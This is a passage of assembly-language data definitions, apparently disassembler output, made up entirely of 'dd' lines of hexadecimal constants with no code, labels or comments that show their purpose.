		dd 0B68AD851h, 7FC83603h, 0C7007023h, 0A22D749Bh, 799C8C2h
		dd 8DDAB238h, 96D87255h, 0D178CE8h, 752B00E5h, 5C70E97Fh
		dd 4C4BE701h, 6BC0BC88h, 47387B8h, 0CE980B6Ah, 0AE50C284h
		dd 0C13F3A21h, 40D2A850h, 0B481F098h, 0AAA70984h, 84C03812h
		dd 89E25055h, 83DA203Ah, 8B9D2B62h, 6BA00F94h, 69E15666h
		dd 4301C73h, 0C062F848h, 0A877D567h, 0E0243C48h, 0D55F6Fh
		dd 4F798761h, 14DE7A31h, 8ACAAB6Ch, 0D53A0B2Fh,	3C48C9F4h
		dd 0D9333F39h, 0A88BB00Eh, 276E92Fh, 43B7B818h,	0A4E02262h
		dd 9283A209h, 0B114C4FBh, 18A2D11Ch, 0B53F07C9h, 4C5FFBAAh
		dd 4018F948h, 2A60813Dh, 0A23F20FCh, 0B2804453h, 86AC3015h
		dd 536DE000h, 1F964668h, 8B4006D0h, 68A00131h, 0EB3FCD0Ah
		dd 9989F4AAh, 4E0480A6h, 16418C40h, 0D179294Bh,	9B53D58h
		dd 9E88780Ah, 5FDF3AC1h, 8E99DCh, 0DCFF270Fh, 87D8D034h
		dd 0B723712h, 21AD2490h, 26A44039h, 0B0C40EBh, 1F7DD41h
		dd 3C6CF1AAh, 71373805h, 50DC0033h, 3572D2BEh, 0FC44E702h
		dd 595AD98Ah, 18A471B8h, 0C18F00DAh, 78F171E0h,	980C419Ch
		dd 49343689h, 0EEC778AAh, 1211DD26h, 21848830h,	987FC120h
		dd 0ED0F1290h, 0B52C202Ch, 6C92C00Ch, 4120CD30h, 75C445Fh
		dd 0F8734C9Bh, 5E9730C6h, 1E039C89h, 85D2A85h, 0F4615891h
		dd 8C9BE8h, 7446EF70h, 0D781A407h, 6B0E6FE8h, 0C1830Bh
		dd 61F08B60h, 0FD90E3Bh, 218C586h, 0F8F38C66h, 0C12DF6FEh
		dd 2E11DD04h, 161D489h,	0C9ECFF81h, 93DEBD20h, 70194674h
		dd 3559330Bh, 0BEA580C5h, 1D8BEF52h, 0F5BF5FAh,	5ED86DB5h
		dd 5EBFC32Bh, 1C00D60Bh, 0B9BF667Ch, 61B5094Dh,	343DBDE9h
		dd 0FA28B208h, 0CDD52B26h, 0E92A6141h, 0BF138027h, 4748E357h
		dd 0FFC05E8Bh, 0DF015F6Bh, 57BD7484h, 0D892DF8Bh, 717359DFh
		dd 3FE1816h, 85C77840h,	0F6010561h, 57047931h, 80E6820Fh
		dd 68550359h, 0F0028258h, 0C1081C71h, 3A118108h, 0F99BD0Ch
		dd 754D00Ch, 2F44859Dh,	21ADEDFFh, 91F897F5h, 0E3F4801Bh
		dd 1D897A56h, 0B6DDA19h, 6A77119Dh, 852F0F87h, 0C02298Dh
		dd 307595h, 15EDB501h, 0FF890F80h, 95095F87h, 90180C11h
		dd 0D6F67EBDh, 70CBFC00h, 9F232810h, 0FF0E5B60h, 27008C6Bh
		dd 336D9105h, 908B414h,	282D798Dh, 1BC817Fh, 0EBA0E9E9h
		dd 27C135C0h, 3FE6EB0Ch, 0EC5B05B0h, 12E53803h,	29FB8B66h
		dd 0D1D1F906h, 4BB1816h, 0B70FBD26h, 851EC0F7h,	9EC11A35h
		dd 20B1B523h, 1510B7BEh, 89610211h, 8230FDBDh, 82181968h
		dd 0F5331506h, 15D13AD1h, 460C1718h, 53C5BD29h,	20C60081h
		dd 0F4B52E3h, 73A5F3BFh, 8B601CC4h, 5F000B1Fh, 0A9CF9D63h
		dd 38DAE9C8h, 60ADFFF8h, 0FA52A7DDh, 0A0C78DE3h, 7385315Fh
		dd 5E88CC09h, 0EB01F4h,	1CC18B61h, 2D14810Fh, 5B618DFh
		dd 12620046h, 697C6595h, 130E2C76h, 66725559h, 0A02904EBh
		dd 8A0388B5h, 22F8E107h, 0DADFA9BDh, 2CB52982h,	355108ACh
		dd 2B039012h, 1E50C7E6h, 0A930530Ah, 181AD18Bh,	0C55500AAh
		dd 3D0CAD91h, 0DE098166h, 460A2DCh, 0F05D02B6h,	1C2D85F0h
		dd 9D6EFFDAh, 801A11BAh, 4B6E2D3Dh, 0CCB3E685h,	0C2CA81C2h
		dd 0D61C5F75h, 3D5A9396h, 0E4B44D5Eh, 0A33C137h, 1DB87A2Dh
		dd 0F2281E94h, 17CF03AAh, 10E90626h, 0C0021D49h, 7F4DF9BDh
		dd 0E9500066h, 0CF81C19Ch, 0A201B19Ah, 5C08321h, 0C447F28Bh
		dd 0A3C4F746h, 0A6BFC5BFh, 0DDB2B05Bh, 26737FA1h, 990E675h
		dd 0B9921409h, 0F8F69001h, 0F3F5DEFAh, 9C3770D5h, 0F8DD70Ah
		dd 0F0C4888Ch, 3555B5C1h, 0BD12F97Ah, 4A3EC7Eh,	9C7326D9h
		dd 9FA84980h, 0F9D1F8Dh, 0A45FA4A9h, 0D4D364EEh, 0B12EC136h
		dd 0D6B97B08h, 8A0073BCh, 5C3D758Eh, 0B82EC1B2h, 1CA52006h
		dd 71E9FC16h, 0D8FB6A56h, 292D9BEh, 0D6E15EBFh,	0FFEA5100h
		dd 66C989CAh, 0E0BE5B4Ah, 0A8B12FE0h, 14486E1h,	3D228304h
		dd 9D8B01B4h, 0CAF2965h, 822635D7h, 39752260h, 23C51F7h
		dd 7C59D09h, 0C3E39E69h, 0DF247B50h, 0B2A8D0Bh,	96F204DBh
		dd 0C9B58941h, 0BD830031h, 8E16511Bh, 5084BA8Bh, 40124FDDh
		dd 0D4E07CE6h, 2FAD64C4h, 0FA88E905h, 92B0A1F7h, 790334F9h
		dd 0DF359B45h, 88C4C53Bh, 40F35D1Ah, 2F8B505Ch,	205F58CAh
		dd 0F356EAB0h, 0EFA30002h, 0C58163E3h, 0B00EF705h, 3E59BF37h
		dd 0E96125C3h, 0B330635h, 0BC028DBDh, 6FE13384h, 1DEC56F8h
		dd 7CFB008Ch, 6553B127h, 0D778852Ah, 0D4098D48h, 10CA419Ah
		dd 0FEFF23E4h, 9853CEE5h, 98BC6C70h, 83D807EEh,	35662C8Ch
		dd 6A6FBDBh, 7845E0B7h,	2CEDF63Fh, 21523423h, 0C0E017A6h
		dd 98171DEDh, 0D8BEDE72h, 857EBD50h, 0D7B24082h, 684F9661h
		dd 0A0211F92h, 0BF02C390h, 4895573h, 0ECAEC324h, 0A98D4C5Eh
		dd 0CB24E935h, 467C6903h, 0BC0D031Dh, 0EB169AD9h, 61F7B083h
		dd 15BD2F31h, 7D94B05Fh, 0F6C60050h, 29887941h,	17ECECB2h
		dd 8492221Eh, 46CE7585h, 1C4DF983h, 26B05FE5h, 0C800DEC4h
		dd 488483CCh, 24B0DB52h, 74B070E6h, 0CB001946h,	88D31FE3h
		dd 952E8973h, 0E48BF451h, 8033B771h, 3A52E133h,	0DE018DF6h
		dd 922B2ABEh, 0F648E90Eh, 0F9FF006Fh, 0C5F8A91Fh, 3105D1C6h
		dd 0D8B60FE4h, 1A8A3FAh, 3AFF5F7h, 0B47BA6Ah, 0B5A96099h
		dd 14BE9A0Dh, 0AE04E8C1h, 0A1A2910h, 60E2F766h,	2E9101D6h
		dd 0EFCDFE2Fh, 2BFB64EDh
		dd 0F00AD860h, 1986BE93h, 5C128D9Dh, 9FC91005h,	0F31800F6h
		dd 0BE585160h, 0BA014281h, 935E6173h, 812CF18Bh, 0CCBC48D5h
		dd 183FCE00h, 50710DF2h, 78F6484Ah, 0DD052512h,	4EF96FA6h
		dd 8E0367ACh, 20B21508h, 20B8FB0h, 42C596F2h, 0F724C132h
		dd 0BD7A0E21h, 0E66DAC6Bh, 0AD5A1CAEh, 689CC0C7h, 0F613CE6h
		dd 1F68314h, 4BB680FBh,	488B0C3Ah, 858F0CFBh, 804E7911h
		dd 32D0D31h, 0F123505h,	51500D65h, 79269C17h, 2691724h
		dd 4A7E7620h, 0B5FBDF15h, 90A91A58h, 44E2A70Dh,	8B1E6014h
		dd 254790F8h, 0A38D458Dh, 7066204Eh, 8FB286ABh,	258A7BA4h
		dd 19FD7F04h, 1707B906h, 5E10E950h, 0EED12D01h,	0C183B435h
		dd 14B2BF63h, 2C694A31h, 0EB922735h, 4DE0CBB6h,	0F54D2603h
		dd 0E185C2D4h, 57E00909h, 0D134B52Bh, 5BF2120Eh, 0BD70CD38h
		dd 0DC8EFCh, 48C6EAAEh,	31DCE0F4h, 0BA272B9Ch, 6D71F57Bh
		dd 9F63F8h, 0A6BA9A0h, 0E0335E7h, 38BF5103h, 895F74D6h
		dd 0AD7B5BF5h, 0D1ACEFh, 61E2065Ah, 2B8DCFA1h, 95E96FF5h
		dd 3F9B1705h, 89A7040Fh, 4CF84B01h, 8B324487h, 3FBBFA5Eh
		dd 1623D0h, 604EAC02h, 99598D8Bh, 8166017Dh, 61DC63F2h
		dd 0F97BC0F1h, 544000B0h, 13DAFF7Ah, 9FBA00AFh,	30DDBBB1h
		dd 0D39828ABh, 5A31F120h, 0FD8E5E5Fh, 1918B75Ch, 65FD1A04h
		dd 0BE5C1426h, 5A375E36h, 16636C1Ah, 0F8609485h, 0E8AEC630h
		dd 61487F5Ah, 1B55163Ch, 0EC294A9Ch, 0A4074CF5h, 23792EE5h
		dd 33CF0015h, 31F9B70Fh, 2895B519h, 7371904Ch, 33020AC9h
		dd 6901E341h, 27D107Dh,	0DBD0B09h, 0BC6D4F29h, 0E7FABFC0h
		dd 58B67565h, 0BD785D8Eh, 0D6C5DCh, 692D6632h, 7F057DC5h
		dd 597BEE26h, 0E2B115h,	0B9A3B060h, 5EC54F20h, 3140FA24h
		dd 82FDFEDFh, 7D10120Bh, 23B43A61h, 1F023F19h, 0ADDE630Ah
		dd 71D2FFh, 3B352F2Bh, 5D7E9DE0h, 0C4C20B0h, 0A545CA8Eh
		dd 51BD2B82h, 44DD0B19h, 1528A0BCh, 0E2668235h,	0AF0CB704h
		dd 0D0F15E3Dh, 2F4C71D3h, 37FD2229h, 125C027Eh,	19D13EDFh
		dd 406DF60Fh, 5ADC73E6h, 0A0C71DA3h, 9B565D01h,	88F9AE3h
		dd 4297E90Bh, 2E9845Ah,	0C192F223h, 47EE6A40h, 3317365Ah
		dd 0C852CEEEh, 0BE54C014h, 32003D36h, 0E9D68151h, 911E119Ch
		dd 1817D11Ah, 0DF210073h, 0AE67BE77h, 0D6BD1ECEh, 0E080BA5Ah
		dd 0F2EAD2BBh, 4F719137h, 27839D01h, 620C9C1Eh,	9BD68568h
		dd 0F5BE8772h, 9D6C602Eh, 0F7900339h, 8107DA3Ch, 923E72DEh
		dd 625B6A63h, 9A2E178h,	0C7EF673Bh, 19691102h, 0EB8E0F10h
		dd 15852910h, 0F042315Ah, 0F02620B3h, 17CE2F14h, 0EE15A077h
		dd 0AF936Ch, 54B2A13Ah,	5F2538ACh, 472840B4h, 6190FE24h
		dd 53000411h, 505F5E57h, 0B502B860h, 617C2446h,	6BF3F590h
		dd 12F60258h, 19D1F8A5h, 0C289CB7Dh, 3597032Bh,	2D0DE6A7h
		dd 271AB349h, 270671FDh, 19BD06B0h, 0CA650B42h,	5406A3F9h
		dd 3F60D463h, 0E909A958h, 71E49EEBh, 0FA051BDh,	0B237382h
		dd 360E55B5h, 43864F0Dh, 59D298Bh, 0ADC8F484h, 0CC7A075Eh
		dd 0C2A0B200h, 94C4677h, 26B98513h, 0CA29C4DDh,	3A046CB8h
		dd 7F52E440h, 32DDB6C1h, 0FF507B39h, 91EB9E5Fh,	5E510171h
		dd 1F4EBD83h, 1088E73Ch, 38B1BE80h, 4CE945A3h, 0DC49368h
		dd 674F501h, 3DE1B91Dh,	0C471B917h, 0D7343960h,	0D89BBF16h
		dd 8478E482h, 1B563CF8h, 28A7052h, 43019E8h, 9589308Dh
		dd 0A73DE14Dh, 0F68484D3h, 3111E16Eh, 9C456BFDh, 0EA23F8E5h
		dd 0ED55EA25h, 9E112700h, 0FDC11433h, 742B26DDh, 0D871CCC1h
		dd 81CE56DCh, 89A9216Ch, 0D853259Dh, 40528A50h,	1D4A5898h
		dd 675A310Fh, 0D9A8588h, 0CB4F0809h, 0C1FCDED5h, 0BE0607F6h
		dd 48D39CCCh, 0D60BD641h, 6D829FC9h, 88D3B0F8h,	847F78h
		dd 233A2194h, 98CF0631h, 140490A1h, 0BD329180h,	0DB704AE6h
		dd 0E807809Ch, 52E4F87Ah, 1BE27F71h, 2550A30h, 4BA1C5A5h
		dd 2B403256h, 58821629h, 1654BF4Ah, 13AC71D6h, 4AFAED0h
		dd 182C795Eh, 9C26095Eh, 0CDFDCB64h, 29E46033h,	7400C436h
		dd 0BE453E7Dh, 0B8D3D5CCh, 0E81FE68h, 54F31FE6h, 0B6868473h
		dd 413EE07Fh, 25B59EF5h, 6700A237h, 80E7EF87h, 1AD60172h
		dd 0C7817A6Eh, 10A6FC22h, 0F8D82B12h, 28C17D04h, 0A5BE9300h
		dd 1F5848FAh, 80375C7Dh, 92B60ECBh, 0FC6305F0h,	57299361h
		dd 0E6F474A9h, 0E0EFE55Dh, 2F3C10CDh, 7A2393C0h, 30E1CE04h
		dd 0BF0219B7h, 3F2D1F6Dh, 8338A07Ah, 4570A4E6h,	0F08E00DEh
		dd 0A8B6B44Fh, 0CDB05B6Bh, 0FF607C82h, 1E00E9E2h, 0CFBE610Ch
		dd 906D8792h, 0F6D4BD7Ch, 9BEB6280h, 3A56A3h, 1A9EDFB2h
		dd 0AB8FBE26h, 0F091C09Eh, 0F1127148h, 0C3743408h, 17FCADE3h
		dd 0C76FD0EFh, 4F003B0Ah, 0E1ED7CC9h, 1FAEF44h,	0AAD5D6B7h
		dd 88454264h, 91EBD4Ch,	60E6BA5Fh, 0A81F6927h, 4674CAD0h
		dd 0B30C0417h, 38C4CFBh, 0BF201D87h, 1EE60048h,	9CD7C4BEh
		dd 4E746449h, 92045E6Eh, 940AE239h, 0CE8CDB75h,	297484AAh
		dd 0EB1F381h, 91FF0905h, 23E74A29h, 0E7671964h,	0EA720D6h
		dd 0E593581Ah, 5A8C5178h, 0EC3E4EF5h, 0F6B71611h, 0EE812F88h
		dd 6E9B04FEh, 0A6C18350h, 51D35076h, 1A3D1641h,	9FF7C729h
		dd 0F59227C1h, 59C1ECEDh, 6A8B9D0Ah, 134C3345h,	8270715Ah
		dd 1A8BACEh, 31B9F4DFh,	6210D195h, 9D0B9FB8h, 0FD9E6255h
		dd 7470565Bh, 0F2F33946h, 0D5B1D181h, 40601FABh, 0CF80C99Fh
		dd 2B619600h, 445DBEC3h, 62794F85h, 0F82514D5h,	7D2B5FBh
		dd 0F6BF3020h, 0BD4F3361h, 0C08B0F44h, 0AC1BFDAAh, 8461278Fh
		dd 7262BAA9h, 43FAACC2h, 562E5571h, 4C0D2D3Bh, 8E766AC2h
		dd 0BAE7F9E0h, 0F6746719h, 0DB3CFA68h, 14512CF2h, 871818F1h
		dd 0E00A8A01h, 95BD2992h, 13C5235h, 5AFD29D2h, 5388C0B1h
		dd 2D85EB2h, 6444BF95h,	11D37337h, 40244DA7h, 163C554Bh
		dd 0A4ECC62Ch, 0ADF78102h, 8D97418Ch, 902E2938h, 7915DE7Fh
		dd 0BCAAEBBFh, 1BC809EAh, 25CD8578h, 493810C0h,	0F5922CF6h
		dd 13A50D1Dh, 0E01576CCh, 0EA98FD8Ch, 0BB91048Bh, 829E6B7Dh
		dd 0EF8F129h, 10F7B732h, 70A9FBFEh, 0AD709D49h,	710BA900h
		dd 16950E6h, 825970B5h,	9C0A935Eh, 465C6091h, 606A0417h
		dd 0AA876C63h, 1BD3Bh, 49231298h, 0B205ED3Fh, 0E59D0968h
		dd 0DABF5101h, 232EF576h, 0E0FF087Ch, 0ED6C3048h, 0D9D09Dh
		dd 83DA0F1Eh, 94B9DD3Ah, 4BE90416h, 4B2E3084h, 803E1C23h
		dd 755FC10h, 0E71E9BFh,	953360F4h, 8285333h, 66820427h
		dd 765F90B9h, 8E224A6h,	9B272A19h, 4585E05Fh, 0BF3FC930h
		dd 0A7F21FA5h, 656A5E0Ah, 0BD893905h, 901C92E5h, 990EA776h
		dd 2DDBD70Eh, 0AA16D880h, 0FD1BDF27h, 1646DC79h, 882FD5D8h
		dd 0F061B707h, 2629CDBEh, 1CB24233h, 833630h, 7CE64F6h
		dd 816C9D6Eh, 4631E705h, 13A0481Dh, 2573B4F8h, 17EC048Bh
		dd 3BC1BD2Eh, 656F80B5h, 3228C905h, 35A405A7h, 0F8270921h
		dd 41AC2CDBh, 0A9C12DD6h, 0CF811C18h, 0C5594F08h, 0FA291F5Dh
		dd 604F8ACDh, 0D839BE1Fh, 0DA8FE93Ch, 0AAD71A2Ch, 0DCD774BCh
		dd 7C14DB00h, 813EA10Eh, 7931B4F5h, 219E1571h, 6E639A80h
		dd 0CB7E07E1h, 2313D609h, 3B5057BDh, 8FBC6AB1h,	601C35C6h
		dd 8B5F5099h, 14A12D9Dh, 0F140D94Fh, 9D0F38Ch, 0EAFDD6EFh
		dd 741B378h, 8DCA042Eh
		dd 0F2810020h, 2D428CB9h, 731A615Eh, 59FC7BFDh,	0F5D301Dh
		dd 67488B5Ah, 0F7A489h,	0BD835FF9h, 69B428ADh, 8D235D46h
		dd 63E06E76h, 4F7B62B9h, 0EE4A0926h, 3E76C606h,	9AB39EF6h
		dd 0D3FF5EE9h, 0CF357817h, 0F698D109h, 61BD0253h, 842B0B1Ah
		dd 3CD4B80Dh, 0B84D2B6h, 882B01F4h, 0D5B9D29h, 9C1B9E10h
		dd 792B5C22h, 0F3223413h, 0C2F00E6Fh, 32F22027h, 795FC0D9h
		dd 1A25020Eh, 8DC578DBh, 0A1CF1946h, 5F2DF081h,	0B256961Ah
		dd 0F324466Ah, 0DB8CC731h, 4109C820h, 886F3C15h, 90CB77Bh
		dd 575355h, 4E4FAA0Eh, 0E7028DC9h, 0D024888Eh, 0AFC85136h
		dd 80B1B5FDh, 4E315B18h, 0F462A49Bh, 119859Ch, 800AE990h
		dd 0E575A62Dh, 21F64CDh, 63270E6Ah, 0C96D9050h,	7B308DE0h
		dd 63820565h, 0A2E5C9D6h, 12B038B7h, 1DB670E6h,	0E4C19DE0h
		dd 4B2C714Ch, 0FDF85C8h, 1E057819h, 0DBD8B684h,	0F762CB35h
		dd 0CE28EBC6h, 652D984Ah, 0F3D3211h, 0DA005189h, 0EA4C2B42h
		dd 58000F6Ch, 0C8CD013Dh, 0B9FCD4h, 0A6BE5255h,	5F218FE3h
		dd 0AB2133B4h, 0A8181DD1h, 0EA6D9E00h, 0B43E8A83h, 0FAC75F57h
		dd 3187B941h, 0ECD09EC2h, 26BA1CC4h, 7E58C4DEh,	6D6581D2h
		dd 815E002Ch, 84B09CEh,	0FEC326CFh, 0EC591201h,	8D0F053Eh
		dd 0F7846D7Ch, 0D6F59BE2h, 664830B3h, 2B88AA04h, 0ED27C1D8h
		dd 0E0500333h, 9E37E4Ch, 241C8954h, 677084FBh, 0F7881DE7h
		dd 732CC23Dh, 6E5B1622h, 40146DA5h, 0FB749A87h,	50935F13h
		dd 481E88Ch, 989CCCF7h,	0AC87B959h, 413E8C1Ch, 6A9B071Dh
		dd 0A624B552h, 7B16FC1h, 0E984B003h, 957DB8A2h,	1420E584h
		dd 911062BAh, 6B627C07h, 2140C1CDh, 2D856DBBh, 2F10E1D0h
		dd 0EB0FAED4h, 0D6D34A47h, 20B9C91h, 0B1010405h, 1258EDDBh
		dd 0A812F9B7h, 7CB3CCA7h, 0D603497Fh, 4D83F3CFh, 0ABF6E58Bh
		dd 0E6BEBFE0h, 0A45B5B0h, 0FC2B202Fh, 0BD2748D5h, 0FBA7C9C3h
		dd 3F638E25h, 0F3BEC201h, 42F99A6Ah, 0B35C99B4h, 2A9BD892h
		dd 54C25781h, 229E47FCh, 949D5872h, 52851511h, 77B274h
		dd 0CE8B117Dh, 17790BCh, 44BFCC84h, 69CFD53Dh, 1301073h
		dd 26D54451h, 0A8A5643Bh, 74B47154h, 0C90B832Ch, 5D6E4605h
		dd 0D2F8F910h, 0F975E200h, 83FA23D5h, 0F49171Ah, 2180CC8Ch
		dd 0C2D8764Ah, 0DBD95B8Ch, 0AAC29E93h, 0D1C0F468h, 76891499h
		dd 0ED270596h, 4991A714h, 28132066h, 59478A0Fh,	0FABC6F5Bh
		dd 73888B4Ah, 6569018Dh, 52FFC2D8h, 0A1B542B8h,	2B0906F6h
		dd 0C34CCDC3h, 0B3C8F4D4h, 9016230Bh, 0B998D314h, 47DE8A0Ch
		dd 0E90DFE1Eh, 2D381528h, 994DC025h, 25CE92C0h,	0BA8D5F89h
		dd 0FFB79417h, 5E2DECE4h, 5129A3C2h, 82702405h,	10A77FFBh
		dd 0E04F43D6h, 80A1F895h, 0BA5D0B6Ch, 8200F4A5h, 917E8919h
		dd 461F3013h, 0B60779A2h, 0D802493Ch, 3A5EFA0Eh, 1BF504FEh
		dd 80A4FDAAh, 0BE4E6ADFh, 88B80067h, 0A19FAA3Eh, 5970E41Dh
		dd 0ED55F2C1h, 0D1C65F51h, 0FE4EE5F8h, 0F8A015B7h, 8B0E19C8h
		dd 82DC7256h, 0D185FFF3h, 1816F9F0h, 90893FA3h,	49ECEF1Fh
		dd 17515D9Bh, 587F0154h, 0D5D099CDh, 3CB0D7C4h,	0AC14DBBEh
		dd 12E87B92h, 1CA72C4Dh, 8BF7984Fh, 2911208Ch, 26099058h
		dd 180911FAh, 11089DD3h, 0DBF7801Ch, 9EED7A7h, 0ABCD6263h
		dd 0A159098Bh, 9D278AA4h, 801591DBh, 0C1BF6BF5h, 224D2E8Fh
		dd 0A212162Ch, 95898363h, 0C4694825h, 0A81AFD12h, 2815885Ah
		dd 0D808451Ah, 0D4910280h, 2949609Ch, 0B4509085h, 0E1810094h
		dd 260E3147h, 0B5188961h, 0BF4B1D01h, 5E97F5FBh, 9B47C43Dh
		dd 0C0DBC130h, 5F33E341h, 2AD5462h, 0A6086005h,	20FDAF1Ah
		dd 0CD40199Ah, 0B0650191h, 0C02E28B5h, 0DCEDD11Ah, 5BE26743h
		dd 5877860Ah, 854097E9h, 0BC6330h, 3671F57h, 0D65B1740h
		dd 4ED89102h, 4052213Ch, 0EFF3A05h, 0F77DE961h,	0BD0384BDh
		dd 26A6FCF1h, 341A1901h, 11DC619Dh, 58B9B452h, 3FE5F6h
		dd 21D58490h, 0BDE1558Dh, 58EB832Fh, 0B2B4676h,	321B53Ch
		dd 0E3F08C68h, 0E5616538h, 0D9419D36h, 0C9858952h, 535A8750h
		dd 35BD1309h, 0A9FAF52Ch, 18F1AF63h, 3902AA18h,	33E47D0Ah
		dd 8427D495h, 8501E183h, 8CA1FF18h, 2DB9B669h, 58AC0224h
		dd 0E65229F0h, 68652F2Dh, 29AF1CD7h, 0BB838B5Bh, 10A9853Bh
		dd 0FC1C904Dh, 1C288C14h, 9514C361h, 0A7E12671h, 0C40FD9C5h
		dd 31F79635h, 0BB6279A0h, 98775401h, 0E3C667ECh, 0EC5CB61h
		dd 81E5EC04h, 76B3B9F2h, 0E81F6E8h, 0FC7C02E2h,	0AE0CA8A0h
		dd 8ED28473h, 0B64A5BADh, 8A66E0CBh, 0AC8FCC6h,	1874EF84h
		dd 0AAE234B2h, 0ACBCD6A9h, 0EA5DDC09h, 91C48293h, 26D2B911h
		dd 0C018C80Fh, 41B8A62Eh, 244D2B4Ch, 854807D1h,	41284FADh
		dd 52F88D86h, 14C62753h, 0FC602144h, 0BD397895h, 124F4EB0h
		dd 5CB78000h, 110717CCh, 9AD83ECDh, 93273E00h, 5BC024B8h
		dd 0FAA0E590h, 0FC1277D0h, 303565EDh, 9F56804h,	905AEC10h
		dd 0AB33BBD5h, 165C4731h, 7A3E2965h, 571B00A9h,	4A4F6674h
		dd 69851023h, 0F8515E33h, 0BB15793Bh, 5B888294h, 0B4640ECFh
		dd 764AB81Dh, 5D404FAAh, 0E42A7E26h, 5452102h, 13EA6D20h
		dd 0E261C220h, 5A330764h, 10A7B0Eh, 32E98C7Dh, 3D00408Bh
		dd 0D5A6EB02h, 121F76h,	8AB7DE6Dh, 0E42D44FFh, 42AD9A00h
		dd 434B8464h, 0A4ED0004h, 111E69D6h, 0B524DC67h, 2C004C8Ch
		dd 0B0D85425h, 411C000Eh, 7771B165h, 0E9003A05h, 6FDCAFECh
		dd 860831h, 1B61AEB9h, 0B196F320h, 3B00FB7Fh, 6B42473Ah
		dd 7D800C35h, 307175C7h, 0AD1D4890h, 9700D20Eh,	272069E4h
		dd 0E874B7F6h, 0C2811D0Ah, 90B88C91h, 3600852Dh, 64A996F9h
		dd 0C721D0h, 1C5C9563h,	0A0CB7418h, 0E9EE5700h,	3E0DA147h
		dd 668307D1h, 60DE2912h, 224F9CA7h, 8EEB5800h, 0A6CC7835h
		dd 7CD803B6h, 0A1E80520h, 573875C0h, 0AA99E603h, 0A0FB3A79h
		dd 7E539598h, 6C8C07DFh, 4087C0C8h, 0BDEE5923h,	58DCEF18h
		dd 8B76A0h, 79275A6Dh, 64B251F3h, 4898CEA9h, 0D605B9Ah
		dd 1A5EA3CFh, 0DB7A31F7h, 10015F2Eh, 30477C7h, 8CF11647h
		dd 3303C810h, 0A56ADF69h, 0FE438883h, 586103BFh, 0AAC71433h
		dd 420364F0h, 0FD15B500h, 6EB219A2h, 40A9005Fh,	0A3D72428h
		dd 0DE30EA82h, 78334E98h, 1B7839h, 51EE90ADh, 0C2CAF71Eh
		dd 96E7903h, 204824h, 0BAE6D52Dh, 380777EAh, 0ACD2DF00h
		dd 562F4E9Fh, 0C7FC0017h, 4C905210h, 871DF439h,	0C3806BB8h
		dd 40FF8FA5h, 94F80029h, 3A414EABh, 0F2002BB7h,	0AF1A776Dh
		dd 615306Ch, 0C9118BF0h, 2C007099h, 93A5913Bh, 1CE6FDAh
		dd 6728518Fh, 4372BFD8h, 92D8EDEEh, 1C48C54Bh, 5FC81458h
		dd 8C447EA3h, 206B00A8h, 0AE9DEE23h, 0E2303E7Dh, 0C6EBC352h
		dd 5D301DB9h, 0E7540034h, 0F750A9E8h, 0A39638h,	0E937D629h
		dd 1CD24DCh, 600589ABh,	865B7C8Ch, 87D349A0h, 0C66A550Dh
		dd 2C15F8h, 7BB0E562h, 28E0350Eh, 0C547A11Dh, 31FC0C4Ch
		dd 0A09B01E1h, 0AC0F3073h, 92C0DED7h, 2906B49Dh, 1B3E23EBh
		dd 8960F8CAh, 0EE5B4083h, 0C7491389h, 812A3E08h, 0DB64145Dh
		dd 28F4658Ah, 0C3B600FBh, 30C2B78h, 1D0041E5h, 325CD810h
		dd 9120FA15h, 35460A2Eh, 5F5E0224h, 3DE008E3h, 56488967h
		dd 0A7A00588h, 8C003976h, 0DA5787A6h, 0F0880F9Eh, 0ADE6E701h
		dd 0C409AA6Ch, 23FD0D9Fh
		dd 9A9D1083h, 6744DEh, 3B087744h, 8CB7C5EAh, 79A6B3Dh
		dd 2349CF5h, 858FDE10h,	798F0DCh, 0DF2148F7h, 7DBA2024h
		dd 0E73E340Fh, 0A3798EC4h, 4918A0D0h, 0ADFEBDh,	2843FC80h
		dd 0D4A495E7h, 50D76B48h, 21146E3Dh, 0CAEC57h, 9B708620h
		dd 1744118h, 0D7A57FF9h, 0F31C056Ch, 2369F3AFh,	0CAB2FFF8h
		dd 12C7101h, 0E26F8AD3h, 0FDEAEF8h, 0E524236Bh,	3BF56840h
		dd 0C0304BD1h, 584EE141h, 18BD90ABh, 0A02AAA69h, 0B9981E9Bh
		dd 2F6E8D00h, 70CBB1FEh, 0D5285419h, 3B40034Dh,	926722Ah
		dd 0E0CB9A00h, 0E3317CA1h, 0A8B65BC6h, 74DC40DEh, 1D369339h
		dd 3F8F6198h, 8BB440E1h, 639FD260h, 3E3A8E5Ch, 5FE00084h
		dd 1C2752h, 93DA96C0h, 6C72A676h, 5ED734Ch, 25750754h
		dd 0C7FC09h, 0BBB59AFEh, 2E131274h, 619500E1h, 56F02C17h
		dd 9138E263h, 17AD550Fh, 0EBCAC93h, 0BD0CDFC6h,	84A1F27Bh
		dd 0E321706Ah, 8B3D8638h, 0F873FDh, 0F9DFC89h, 90CE507Ch
		dd 0C91A0991h, 0A420D8A4h, 2E411939h, 506F3800h, 91AE3E40h
		dd 0DD6A0014h, 0EB2A6D88h, 0ED079F80h, 0DE730152h, 73F322Ch
		dd 82AFFC4Bh, 6E1A50F8h, 0C1006583h, 4E3B789Dh,	8BA0F5h
		dd 0D6154601h, 88E04997h, 0CD5F8406h, 4472BDh, 0FA075D50h
		dd 7E5EA992h, 0D93E8500h, 76D1A7F4h, 5B085825h,	8E588400h
		dd 4F3F6E8Ch, 0F5269500h, 0D9D1D4B8h, 3DFF78EBh, 833D3A62h
		dd 3AB379AAh, 278099CAh, 0D6A6CB18h, 0FD0F386Dh, 470E6A97h
		dd 22E04130h, 85E231h, 554C3517h, 0D513F445h, 307F6E1Fh
		dd 251C4005h, 88909A80h, 0EFCC0031h, 1B285748h,	5B0084D8h
		dd 0ACE65FC3h, 2904C45h, 0BE10668h, 0D683C8FFh,	13E89B12h
		dd 67303560h, 0F7C61753h, 16EEEB4h, 0EA877495h,	3155A117h
		dd 220BD734h, 0CD139Ah,	1C0B3E3Eh, 88230049h, 0DD66165Bh
		dd 0FF018DB2h, 0D506454Ah, 76D05796h, 7BA09A9h,	0DA001512h
		dd 0F9941198h, 1914C200h, 0F73667A6h, 77D404BAh, 0C3A8C029h
		dd 62E0FDD4h, 303D0B71h, 0C73B83E3h, 0A02063C2h, 1487C4CAh
		dd 0AC093659h, 33466B00h, 6871DB08h, 0E05F2B00h, 0C52C70B3h
		dd 0FB8100A3h, 0A0EA2740h, 12786D19h, 59A44114h, 6AB600D6h
		dd 0EB543869h, 40A74ABAh, 73CB8F2Fh, 3D000677h,	8EB9C3E8h
